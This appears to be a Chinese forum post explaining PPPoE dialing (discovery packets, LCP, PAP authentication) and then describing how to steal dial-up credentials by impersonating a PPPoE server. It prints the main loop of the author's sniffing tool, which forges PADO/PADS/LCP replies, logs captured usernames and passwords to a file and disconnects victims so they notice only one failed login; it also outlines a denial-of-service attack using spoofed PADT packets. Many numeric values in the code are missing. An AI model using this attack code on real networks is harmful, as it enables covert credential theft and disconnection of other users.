PPPOE拨号上网流程及密码窃取具体实现
楼主学生党一枚,最近研究netkeeper有些许心得。
关于netkeeper是调用windows的rasdial来进行上网的东西,网上已经有一大堆,我就不赘述了。
本文主要讲解rasdial的部分核心过程,以及我们可以利用它来干些什么。
netkeeper中rasdial是通过PPPOE来进行用户认证并提供上网的。
PPPOE分为两个阶段PPPOED(即发现阶段)和PPPOES(会话阶段)
关于PPPOED部分,维基上有很详细的介绍 。给个链接 https://en.wikipedia.org/wiki/Point-to-point_protocol_over_Ethernet
我只简略的说一下,可以分为以下四个部分:
PPPOED的协议格式:数字代表字节数。
| 6 | 6 | 2 | 链路层
dstmac srcmac proctol 很简单,不多说
| 1 | 1 | 2 | 2 | PPPOED头
ver_type code session id payload len
固定为0x11 行为代码 会话id 后续报文的长度
| payload len | PPPOED tags。 这个不好说,可以去wiki看看。
// proctol 注意字节序的问题
#define PPPOED 0x8863
#define PPPOES 0x8864
//PPPOED code
#define PPPOED_PADI 0x09
#define PPPOED_PADO 0x07
#define PPPOED_PADR 0x19
#define PPPOED_PADS 0x65
#define PPPOED_SESSION 0x00
#define PPPOED_PADT 0xa7
struct PPPOE_hdr
{
char dst[6];
char src[6];
char proctol[2];
char ver_type;
char code;
char sid[2];
char len[2];
};
struct PPPOE_tag
{
char name[2];
char len[2];
char *value;
};
PADI:由client发送。(PPPOED tags 貌似必须要有host-uniq属性),就是广播说我想上网,谁能给我提供这个服务。
PADO:由server发送。(PPPOED tags必须要有AC-name属性,而且要有client发的PADI里的host-uniq属性。)就是服务器说我可以给你下这个服务。
PADR:client发送。(要有host-uniq)client向server请求上网服务,当接收到多个server的PADO时,一般向第一个收到的server请求服务。
PADS:server发送。(要有PADR的host-uniq,且需设置session id)之后开始服务。
PPPOES:我重点要讲的部分,在网上搜了很久的资料也没搜到啥,自己总结一下,方便他人。
PPP LCP协议格式: PPPOES支持的协议太多,而我们需要研究的只有LCP,所以只讲LCP。前面与PPPOED相同.
| 6 | 6 | 2 | 链路层
dstmac srcmac proctol 很简单,不多说
| 1 | 1 | 2 | 2 | PPPOED头
ver_type code session id payload len
固定为0x11 行为代码 会话id 后续报文的长度
| 2 | ppp proctol type
| 1 | 1 | 2 | LCP header
code id len
LCP行为代码 验证id len指LCP header与后续报文的长度,与PPPOED不同 即 len = 4 + 后续报文长度
| len | LCP opts
//PPPOES proctol
#define PPP_LCP 0xc021
#define PPP_PAP 0xc023
//LCP code
#define LCP_REQUEST 0x01
#define LCP_ACK 0x02
#define LCP_NAK 0x03
#define LCP_REJECT 0x04
#define LCP_TERMINATIN_REQUEST 0x05
#define LCP_TERMINATION_ACK 0x06
#define LCP_IDENTIFICATION 0x0c // PAP code
#define PAP_REQUEST 0x01
#define PAP_ACK 0x02
struct LCP_hdr
{
struct PPPOE_hdr pppoe;
char proctol[2];
char code;
char id;
char len[2];
char padding[2];//填充,字节对齐。
};
struct LCP_opt
{
char name;
char len;
char* value;
};
下面给个例子
讲完协议基础,就将PPPOES具体发生了什么。楼主只研究过PAP,所以下面讲PAP
1. client向server发送LCP request,请求配置(例如MTU之类的)
2.server向client发送LCP ack或LCP reject(若发的是reject,client需要根据reject再发一份request直到server ack)。
3.server向client发LCP request,LCP request中包含用户认证的方式CHAP 或 PAP。
4.client发LCP ack
5.client准备开始发送用户名和密码。发送3个LCP identification。
6.client开始发送用户名和密码。发送PAP报文。
7.server对用户名和密码进行认证,若通过则通过IPCP进行ip配置。错误则无法上网。
下面给一个PAP报文的例子,与LCP很相似。
上述总结一个图
ps:楼主字丑勿喷。
应用:
1.根据上面所讲的过程可知,我们可以在别人拨号上网发PADI的时候,发一个PADO伪装成server,一般而言,只要client先接收到的是我们的PADO,我们就可以获取到用户名和密码,窃取到密码以后我们就发送一个LCP termination request和PPPOED PADT,在把用户的MAC加入窃取到的MAC表中,对于窃取到的就不再进行拦截。
这样真正的用户在登录时只会出现一次登录失败,之后正常,用户也不会认为出了什么问题。
2.我们自己发PADI获取当前网段中的PPPOE服务器的mac,再将自己的mac伪装成服务器的,穷举session id 发送PADT给正在正常上网的用户就可以让他断网。
应用1楼主已经实现了,2没做。源码就不发了,防止有人搞破坏。
下面只贴出流程代码
int main()
{
int sock,recv_bytes,i = ;
struct Mac src;
struct Mac self = getLocalMac("eth0");
char buf[] = {};
FILE * fpout;
std::vector<struct PPPOE_tag*> tags;
std::vector<struct LCP_opt*> opts;
std::vector<struct Mac*> macMap;
sock = socket(AF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
fpout = fopen("./password.txt","w");
if (sock == -)
{
perror("socket");
exit();
}
while()
{
i = ;
recv_bytes = recv(sock,buf,,);
src = getSrcMac(buf);
if (isMacInMap(&src,macMap))
continue;
if( PPPOED == getProctol(buf))
{
unsigned code;
PPPOE_HeaderReader pppoe(buf,recv_bytes);
pppoe.getPPPOED_tags(tags);
code = pppoe.getCode();
if (code == PPPOED_PADI)
sendPADO(sock,src,tags);
else if (code == PPPOED_PADR)
sendPADS(sock,src,tags);
else if (code == PPPOED_PADT)
sendPADT(sock,src,tags,pppoe.getSessionId());
release(tags);
}
if(PPPOES == getProctol(buf))
{
PPPOE_HeaderReader pppoe(buf,recv_bytes);
switch (getPPP_type(buf))
{
case PPP_LCP:
pppoe.getLCP_opts();
if(buf[] == LCP_REQUEST)
{
HeaderBuilder builder;
memcpy(buf,src.mac,);
memcpy(buf + ,self.mac,);
buf[] = LCP_ACK;
sendEth(sock,buf,recv_bytes);
buf[] = LCP_REQUEST;
buf[] = + sizeof (lcp_request);
builder.addHeader(buf,);
builder.addHeader(lcp_request,sizeof (lcp_request));
sendEth(sock,builder.head(),builder.getsize());
}
else if (buf[] == LCP_TERMINATIN_REQUEST)
{
HeaderBuilder builder;
memcpy(buf,src.mac,);
memcpy(buf + ,self.mac,);
buf[] = LCP_ACK;
sendEth(sock,buf,recv_bytes);
}
break;
case PPP_PAP:
struct Mac * tmpmac = malloc(sizeof (struct Mac));
memcpy(tmpmac,&src,sizeof(struct Mac));
macMap.push_back(tmpmac);
recordPassword(fpout,buf);
sendPADT(sock,src,tags,pppoe.getSessionId()); break;
}
release(opts);
}
}
close(sock);
release(macMap);
fclose(fpout);
return ;
}
PPPOE拨号上网流程及密码窃取具体实现的更多相关文章
- android移植pppoe拨号上网的全过程
硬件环境:Tiny6410开发板 软件环境:fedora14 + Android 2.3.4 + linux-2.6.36 所需资源:rp-pppoe-3.11.tar.gz http://www.r ...
- MikroTik RouterOS安装后初始化配置(PPPOE拨号上网)
1.修改登入密码 路由器默认登入账号为admin,密码为空,强烈建议修改登入密码保证安全: 2.修改接口名称 选择Interface,切换到Ethernet标签,找到状态是R(run)的两个端口. 给 ...
- Ubuntu pppoe 拨号上网
-------------蓝色是终端里面的连接方式,可以不看--------------------- ADSL上网,Ubuntu下是可以的,虽然以前没用过拨号上网,不过查了查也不是很麻烦. 打开终端 ...
- Ubuntu下的 PPPoE 拨号上网方法
1. 配置 pppoe $ sudo pppoeconf 2. 联网 $ sudo pon dsl-provider 3. 断网 $ sudo poff 4. 查看日志 $ plog 5. 查看接口信 ...
- Ubuntu PPPoE拨号上网指定网卡
Just follow these steps: Check that the ethernet cable is properly connected Open Terminal Run sudo ...
- 华为AR路由器AR207-S配置pppoe拨号上网图解实例
- CentOS 7拨号上网(ADSL & PPPoE)
步骤概述: 1.搜寻PPPoE相关软件,本人使用的是rp-pppoe yum search pppoe 2.使用yum安装rp-pppoe yum install rp-pppoe -y 3.开始配置 ...
- 动态ip、静态ip、pppoe拨号的区别
pppoe拨号 pppoe拨号上网,又叫做ADSL拨号上网.宽带拨号上网.指现在有很多我的E家用户,送的无线猫,阉割了PPPOE拨号功能,必须要从电脑上拨号才能上网.还有大街上的WIFI热点也很多,如 ...
- Ubuntu 12.04 pppoe拨号问题
我的系统信息: Ubuntu 12.04.4 X64 Q001: 我学校需要使用pppoe拨号上网.我在宿舍架了个路由,可以使用无线连接拨号上网,也可以使用网线连接.在ubuntu下,使用无线连接时没 ...
随机推荐
- Spring AOP中级——应用场景
在<Spring AOP初级——入门及简单应用>中对AOP作了简要的介绍,以及一些专业术语的解释,同时写了一个简单的Spring AOPdemo.本文将继续探讨Spring AOP在实际场 ...
- 《从零玩转JavaWeb+项目实战》-系列课堂录制计划
点击试听课程 前言 很多自学编程的同学经常和我说想学一门语言自己到网上找一些教程看到一半就像背单词背到ambulance一样坚持不下去了....究其原因基本上都是:内容太多,太枯燥,专业术语听不懂,学 ...
- webpack安装教程及实例
在控制台输入: npm install webpack -g 这是全局的安装,如果需要局部安装,在控制台cd 打开到指定目录,输入: npm install webpack --save-dev 即可 ...
- IdentityServer4 指定角色授权(Authorize(Roles="admin"))
1. 业务场景 IdentityServer4 授权配置Client中的AllowedScopes,设置的是具体的 API 站点名字,也就是使用方设置的ApiName,示例代码: //授权中心配置 n ...
- [Bayesian] “我是bayesian我怕谁”系列 - Boltzmann Distribution
使用Boltzmann distribution还是Gibbs distribution作为题目纠结了一阵子,选择前者可能只是因为听起来“高大上”一些.本章将会聊一些关于信息.能量这方面的东西,体会“ ...
- (11.06)Java小知识
最近由于课程变化,学习计划也跟着改动,留给我写博客的时间也越来越少.今天晚上没有课,抽空过来图书馆写一写,许久不写感觉都有点陌生了! 今天要和大季家分享的衔接了上一篇博客,是关于方法的嵌套调用与递归调 ...
- Luogu 2296 寻找道路
https://www.luogu.org/problemnew/show/2296 题目描述 在有向图G 中,每条边的长度均为1 ,现给定起点和终点,请你在图中找一条从起点到终点的路径,该路径满足以 ...
- 使用js编写一个简单的运动框架
下班后,,没事捣鼓捣鼓个人的小爱好. 首先,说明我的这个运动框架(css所有属性)也是常见的框架一种,健壮性并不是太好,对于新手学习倒是挺好,,若是大神,老司机请拐弯. 上来,我们先定义一个区块,然后 ...
- JavaScript Function.arguments 属性详解
语法 [functionObject.]arguments arguments属性是正在执行的函数的内置属性,返回该函数的arguments对象.arguments对象包含了调用该函数时所传入的实际参 ...
- canvas绘制旋转图形
将绘制到canvas上的要素进行旋转: 1.绘制时,通过操作画布的坐标轴状态:平移画布原点,旋转坐标轴等,达到旋转图形的目的 2.操作操作DOM元素,直接旋转canvas画布 操作画布的坐标轴状态: ...